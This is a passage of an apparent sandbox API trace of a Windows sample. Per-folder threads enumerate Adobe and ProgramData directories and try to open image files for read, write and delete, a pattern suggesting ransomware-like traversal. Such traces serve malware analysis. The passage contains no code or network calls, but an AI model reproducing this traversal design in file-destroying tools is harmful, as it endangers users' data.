1 [0110.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced9940 [0110.301] wcscpy (in: _Dest=0x1ced9940, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0110.301] wcscat (in: _Dest=0x1ced9940, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\" [0110.301] wcscat (in: _Dest=0x1ced9940, _Source="1.0" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" [0120.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced9940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c4 [0120.445] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0120.445] FindClose (in: hFindFile=0x1cd9c4f0 | out: hFindFile=0x1cd9c4f0) returned 1 [0120.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fa60) returned 1 [0120.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced92b0) returned 1 [0120.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 Thread: id = 1034 os_tid = 0x16c4 [0110.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced9630 [0110.303] wcscpy (in: _Dest=0x1ced9630, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0110.303] wcscat (in: _Dest=0x1ced9630, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\" [0110.303] wcscat (in: _Dest=0x1ced9630, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*" [0110.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f310 [0110.303] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c2b0 [0110.303] wcscmp (_String1=".", _String2=".") returned 0 [0110.303] FindNextFileW (in: hFindFile=0x1cd9c2b0, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.303] wcscmp (_String1="..", _String2=".") returned 1 [0110.303] wcscmp (_String1="..", _String2="..") returned 0 [0110.304] FindNextFileW (in: hFindFile=0x1cd9c2b0, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 1 [0110.304] wcscmp (_String1="ActiveX", _String2=".") returned 1 [0110.304] wcscmp (_String1="ActiveX", _String2="..") returned 1 [0110.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b869840 [0110.304] wcscpy (in: _Dest=0x1b869840, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0110.304] wcscat (in: _Dest=0x1b869840, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\" [0110.304] wcscat (in: _Dest=0x1b869840, _Source="ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0120.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1494 [0120.448] FindNextFileW (in: hFindFile=0x1cd9c2b0, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 0 [0120.448] FindClose (in: hFindFile=0x1cd9c2b0 | out: hFindFile=0x1cd9c2b0) returned 1 [0120.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f310) returned 1 [0120.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9630) returned 1 [0120.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x18d0e0) returned 1 Thread: id = 1035 os_tid = 0x16c0 [0110.305] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile44.bmp")) returned 0x20 [0110.305] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp", dwFileAttributes=0x20) returned 0 [0110.305] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile44.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.306] GetLastError () returned 0x5 [0110.306] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp", dwFileAttributes=0x20) returned 0 [0110.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64370) returned 1 Thread: id = 1036 os_tid = 0x16bc [0110.308] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile43.bmp")) returned 0x20 [0110.309] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp", dwFileAttributes=0x20) returned 0 [0110.309] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile43.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.309] GetLastError () returned 0x5 [0110.309] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp", dwFileAttributes=0x20) returned 0 [0110.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd642c0) returned 1 Thread: id = 1037 os_tid = 0x16b8 [0110.312] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile42.bmp")) returned 0x20 [0110.312] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp", dwFileAttributes=0x20) returned 0 [0110.312] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile42.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.312] GetLastError () returned 0x5 [0110.312] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp", dwFileAttributes=0x20) returned 0 [0110.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64210) returned 1 Thread: id = 1038 os_tid = 0x16e0 [0110.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced96a0 [0110.316] wcscpy (in: _Dest=0x1ced96a0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task" [0110.317] wcscat (in: _Dest=0x1ced96a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\" [0110.317] wcscat (in: _Dest=0x1ced96a0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*" [0110.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20420 [0110.317] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c1f0 [0110.317] wcscmp (_String1=".", _String2=".") returned 0 [0110.317] FindNextFileW (in: hFindFile=0x1cd9c1f0, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.317] wcscmp (_String1="..", _String2=".") returned 1 [0110.317] wcscmp (_String1="..", _String2="..") returned 0 [0110.317] FindNextFileW (in: hFindFile=0x1cd9c1f0, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0110.317] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2=".") returned 1 [0110.318] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2="..") returned 1 [0110.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64210 [0110.318] wcscpy (in: _Dest=0x1cd64210, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task" [0110.318] wcscat (in: _Dest=0x1cd64210, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\" [0110.318] wcscat (in: _Dest=0x1cd64210, _Source="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0152.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd64210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1624 [0152.462] FindNextFileW (in: hFindFile=0x1cd9c1f0, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0152.462] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2=".") returned 1 [0152.462] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2="..") returned 1 [0152.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64160 [0152.462] wcscpy (in: _Dest=0x1cd64160, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task" [0152.462] wcscat (in: _Dest=0x1cd64160, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\" [0152.462] wcscat (in: _Dest=0x1cd64160, _Source="{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0152.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd64160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x155c [0152.463] FindNextFileW (in: hFindFile=0x1cd9c1f0, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0152.463] FindClose (in: hFindFile=0x1cd9c1f0 | out: hFindFile=0x1cd9c1f0) returned 1 [0152.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20420) returned 1 [0152.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced96a0) returned 1 [0152.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd860d0) returned 1 Thread: id = 1039 os_tid = 0x16e4 [0110.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd9c7f0 [0110.319] wcscpy (in: _Dest=0x1cd9c7f0, _Source="C:\\ProgramData\\Microsoft\\Windows\\AIT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT" [0110.319] wcscat (in: _Dest=0x1cd9c7f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT\\" [0110.319] wcscat (in: _Dest=0x1cd9c7f0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT\\*" [0110.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce201b0 [0110.320] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AIT\\*", lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ca90 [0110.320] wcscmp (_String1=".", _String2=".") returned 0 [0110.320] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.320] wcscmp (_String1="..", _String2=".") returned 1 [0110.320] wcscmp (_String1="..", _String2="..") returned 0 [0110.320] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0110.320] FindClose (in: hFindFile=0x1cd9ca90 | out: hFindFile=0x1cd9ca90) returned 1 [0110.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce201b0) returned 1 [0110.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c7f0) returned 1 [0110.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86d30) returned 1 Thread: id = 1040 os_tid = 0x16e8 [0110.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b869a40 [0110.323] wcscpy (in: _Dest=0x1b869a40, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0110.323] wcscat (in: _Dest=0x1b869a40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\" [0110.323] wcscat (in: _Dest=0x1b869a40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*" [0110.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce201b0 [0110.323] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*", lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86d30 [0110.324] wcscmp (_String1=".", _String2=".") returned 0 [0110.324] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.324] wcscmp (_String1="..", _String2=".") returned 1 [0110.324] wcscmp (_String1="..", _String2="..") returned 0 [0110.324] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0110.324] wcscmp (_String1="en-US", _String2=".") returned 1 [0110.324] wcscmp (_String1="en-US", _String2="..") returned 1 [0110.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b869b40 [0110.324] wcscpy (in: _Dest=0x1b869b40, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0110.324] wcscat (in: _Dest=0x1b869b40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\" [0110.324] wcscat (in: _Dest=0x1b869b40, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0152.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1608 [0152.401] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0152.401] FindClose (in: hFindFile=0x1cd86d30 | out: hFindFile=0x1cd86d30) returned 1 [0152.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce201b0) returned 1 [0152.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0152.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d6f0) returned 1 Thread: id = 1041 os_tid = 0x16ec [0110.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd867f0 [0110.326] wcscpy (in: _Dest=0x1cd867f0, _Source="C:\\ProgramData\\Microsoft\\Windows\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM" [0110.326] wcscat (in: _Dest=0x1cd867f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\" [0110.326] wcscat (in: _Dest=0x1cd867f0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\*" [0110.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e950 [0110.326] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DRM\\*", lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c7f0 [0110.327] wcscmp (_String1=".", _String2=".") returned 0 [0110.327] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, 